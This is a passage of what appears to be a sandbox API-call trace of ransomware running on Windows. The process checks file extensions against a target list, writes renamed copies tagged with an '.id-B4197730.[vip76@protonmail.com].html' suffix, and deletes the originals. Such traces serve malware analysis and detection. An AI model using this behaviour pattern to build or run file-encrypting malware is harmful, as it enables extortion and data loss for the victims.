	[0064.434] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0064.434] lstrlenW (lpString=".pdf") returned 4
	[0064.434] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.434] lstrlenW (lpString=".xls") returned 4
	[0064.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.435] lstrlenW (lpString=".xlsx") returned 5
	[0064.435] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0064.435] lstrlenW (lpString=".ppt") returned 4
	[0064.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0064.435] lstrlenW (lpString=".zip") returned 4
	[0064.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.435] lstrlenW (lpString=".rar") returned 4
	[0064.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.435] lstrlenW (lpString=".bz2") returned 4
	[0064.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.435] lstrlenW (lpString=".7z") returned 3
	[0064.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0064.435] lstrlenW (lpString=".dbf") returned 4
	[0064.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.458] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.458] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0064.461] GetLastError () returned 0x0
	[0064.461] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x285, lpOverlapped=0x0) returned 1
	[0064.462] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x290, lpOverlapped=0x0) returned 1
	[0064.463] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.463] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xea, lpOverlapped=0x0) returned 1
	[0064.463] SetEndOfFile (hFile=0x350) returned 1
	[0064.467] CloseHandle (hObject=0x350) returned 1
	[0064.467] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.468] SetEndOfFile (hFile=0x364) returned 1
	[0064.469] CloseHandle (hObject=0x364) returned 1
	[0064.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x26) returned 1
	[0064.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1
	[0064.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.480] lstrlenW (lpString=".doc") returned 4
	[0064.480] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0064.481] lstrlenW (lpString=".docx") returned 5
	[0064.481] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0064.481] lstrlenW (lpString=".pdf") returned 4
	[0064.481] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0064.481] lstrlenW (lpString=".xls") returned 4
	[0064.481] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0064.481] lstrlenW (lpString=".xlsx") returned 5
	[0064.481] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0064.481] lstrlenW (lpString=".ppt") returned 4
	[0064.481] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0064.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.481] lstrlenW (lpString=".zip") returned 4
	[0064.481] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0064.481] lstrlenW (lpString=".rar") returned 4
	[0064.481] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0064.481] lstrlenW (lpString=".bz2") returned 4
	[0064.481] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0064.481] lstrlenW (lpString=".7z") returned 3
	[0064.481] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0064.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.481] lstrlenW (lpString=".dbf") returned 4
	[0064.481] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0064.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.481] lstrlenW (lpString=".1cd") returned 4
	[0064.481] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0064.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.481] lstrlenW (lpString=".jpg") returned 4
	[0064.481] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0064.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.482] lstrlenW (lpString=".doc") returned 4
	[0064.482] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0064.482] lstrlenW (lpString=".docx") returned 5
	[0064.482] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0064.482] lstrlenW (lpString=".pdf") returned 4
	[0064.482] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0064.482] lstrlenW (lpString=".xls") returned 4
	[0064.482] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0064.482] lstrlenW (lpString=".xlsx") returned 5
	[0064.482] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0064.482] lstrlenW (lpString=".ppt") returned 4
	[0064.482] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0064.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.482] lstrlenW (lpString=".zip") returned 4
	[0064.482] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0064.482] lstrlenW (lpString=".rar") returned 4
	[0064.482] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0064.482] lstrlenW (lpString=".bz2") returned 4
	[0064.482] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0064.482] lstrlenW (lpString=".7z") returned 3
	[0064.482] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0064.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.482] lstrlenW (lpString=".dbf") returned 4
	[0064.482] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0064.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.482] lstrlenW (lpString=".1cd") returned 4
	[0064.482] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0064.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0064.482] lstrlenW (lpString=".jpg") returned 4
	[0064.482] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0064.483] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1
	[0064.483] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0064.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.485] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4222) returned 1
	[0064.485] CloseHandle (hObject=0x364) returned 1
	[0064.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0064.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.486] lstrlenW (lpString=".doc") returned 4
	[0064.486] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0064.487] lstrlenW (lpString=".docx") returned 5
	[0064.487] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0064.487] lstrlenW (lpString=".pdf") returned 4
	[0064.487] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0064.487] lstrlenW (lpString=".xls") returned 4
	[0064.487] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0064.487] lstrlenW (lpString=".xlsx") returned 5
	[0064.487] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0064.487] lstrlenW (lpString=".ppt") returned 4
	[0064.487] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0064.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.487] lstrlenW (lpString=".zip") returned 4
	[0064.487] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0064.487] lstrlenW (lpString=".rar") returned 4
	[0064.487] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0064.487] lstrlenW (lpString=".bz2") returned 4
	[0064.487] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0064.487] lstrlenW (lpString=".7z") returned 3
	[0064.487] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0064.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.487] lstrlenW (lpString=".dbf") returned 4
	[0064.487] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0064.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.487] lstrlenW (lpString=".1cd") returned 4
	[0064.487] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0064.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.487] lstrlenW (lpString=".jpg") returned 4
	[0064.487] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0064.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.488] lstrlenW (lpString=".doc") returned 4
	[0064.488] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0064.488] lstrlenW (lpString=".docx") returned 5
	[0064.488] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0064.488] lstrlenW (lpString=".pdf") returned 4
	[0064.488] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0064.488] lstrlenW (lpString=".xls") returned 4
	[0064.488] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0064.488] lstrlenW (lpString=".xlsx") returned 5
	[0064.488] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0064.488] lstrlenW (lpString=".ppt") returned 4
	[0064.488] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0064.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.488] lstrlenW (lpString=".zip") returned 4
	[0064.488] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0064.488] lstrlenW (lpString=".rar") returned 4
	[0064.488] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0064.488] lstrlenW (lpString=".bz2") returned 4
	[0064.488] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0064.488] lstrlenW (lpString=".7z") returned 3
	[0064.488] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0064.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.488] lstrlenW (lpString=".dbf") returned 4
	[0064.488] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0064.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.488] lstrlenW (lpString=".1cd") returned 4
	[0064.488] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0064.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0064.488] lstrlenW (lpString=".jpg") returned 4
	[0064.488] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0064.489] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1
	[0064.489] lstrlenW (lpString="Peacock.htm") returned 11
	[0064.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.491] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=232) returned 1
	[0064.491] CloseHandle (hObject=0x364) returned 1
	[0064.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20
	[0064.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.493] lstrlenW (lpString=".doc") returned 4
	[0064.493] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0064.493] lstrlenW (lpString=".docx") returned 5
	[0064.493] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0064.493] lstrlenW (lpString=".pdf") returned 4
	[0064.493] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0064.493] lstrlenW (lpString=".xls") returned 4
	[0064.493] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0064.493] lstrlenW (lpString=".xlsx") returned 5
	[0064.493] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0064.493] lstrlenW (lpString=".ppt") returned 4
	[0064.493] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0064.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.493] lstrlenW (lpString=".zip") returned 4
	[0064.493] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0064.493] lstrlenW (lpString=".rar") returned 4
	[0064.493] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0064.493] lstrlenW (lpString=".bz2") returned 4
	[0064.493] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0064.493] lstrlenW (lpString=".7z") returned 3
	[0064.493] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0064.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.494] lstrlenW (lpString=".dbf") returned 4
	[0064.494] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0064.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.494] lstrlenW (lpString=".1cd") returned 4
	[0064.494] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0064.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.494] lstrlenW (lpString=".jpg") returned 4
	[0064.494] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0064.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.494] lstrlenW (lpString=".doc") returned 4
	[0064.494] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0064.494] lstrlenW (lpString=".docx") returned 5
	[0064.494] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1
	[0064.494] lstrlenW (lpString=".pdf") returned 4
	[0064.494] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0064.494] lstrlenW (lpString=".xls") returned 4
	[0064.494] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0064.494] lstrlenW (lpString=".xlsx") returned 5
	[0064.494] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1
	[0064.494] lstrlenW (lpString=".ppt") returned 4
	[0064.494] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0064.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.494] lstrlenW (lpString=".zip") returned 4
	[0064.494] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0064.494] lstrlenW (lpString=".rar") returned 4
	[0064.494] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0064.494] lstrlenW (lpString=".bz2") returned 4
	[0064.494] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0064.494] lstrlenW (lpString=".7z") returned 3
	[0064.494] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0064.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.495] lstrlenW (lpString=".dbf") returned 4
	[0064.495] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0064.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.495] lstrlenW (lpString=".1cd") returned 4
	[0064.495] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0064.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69
	[0064.495] lstrlenW (lpString=".jpg") returned 4
	[0064.495] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0064.495] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1
	[0064.495] lstrlenW (lpString="Roses.jpg") returned 9
	[0064.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.499] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1920) returned 1
	[0064.499] CloseHandle (hObject=0x364) returned 1
	[0064.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20
	[0064.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.499] lstrlenW (lpString=".doc") returned 4
	[0064.499] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0064.499] lstrlenW (lpString=".docx") returned 5
	[0064.499] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0064.499] lstrlenW (lpString=".pdf") returned 4
	[0064.499] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0064.499] lstrlenW (lpString=".xls") returned 4
	[0064.499] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0064.499] lstrlenW (lpString=".xlsx") returned 5
	[0064.500] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0064.500] lstrlenW (lpString=".ppt") returned 4
	[0064.500] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0064.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.500] lstrlenW (lpString=".zip") returned 4
	[0064.500] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0064.500] lstrlenW (lpString=".rar") returned 4
	[0064.500] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0064.500] lstrlenW (lpString=".bz2") returned 4
	[0064.500] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0064.500] lstrlenW (lpString=".7z") returned 3
	[0064.500] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0064.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.500] lstrlenW (lpString=".dbf") returned 4
	[0064.500] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0064.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.500] lstrlenW (lpString=".1cd") returned 4
	[0064.500] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0064.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.500] lstrlenW (lpString=".jpg") returned 4
	[0064.500] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0064.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.500] lstrlenW (lpString=".doc") returned 4
	[0064.500] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0064.500] lstrlenW (lpString=".docx") returned 5
	[0064.500] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0064.500] lstrlenW (lpString=".pdf") returned 4
	[0064.500] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0064.500] lstrlenW (lpString=".xls") returned 4
	[0064.500] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0064.501] lstrlenW (lpString=".xlsx") returned 5
	[0064.501] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0064.501] lstrlenW (lpString=".ppt") returned 4
	[0064.501] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0064.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.501] lstrlenW (lpString=".zip") returned 4
	[0064.501] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0064.501] lstrlenW (lpString=".rar") returned 4
	[0064.501] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0064.501] lstrlenW (lpString=".bz2") returned 4
	[0064.501] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0064.501] lstrlenW (lpString=".7z") returned 3
	[0064.501] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0064.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.501] lstrlenW (lpString=".dbf") returned 4
	[0064.501] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0064.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.501] lstrlenW (lpString=".1cd") returned 4
	[0064.501] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0064.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0064.501] lstrlenW (lpString=".jpg") returned 4
	[0064.501] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0064.501] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1
	[0064.501] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0064.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.505] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=237) returned 1
	[0064.505] CloseHandle (hObject=0x364) returned 1
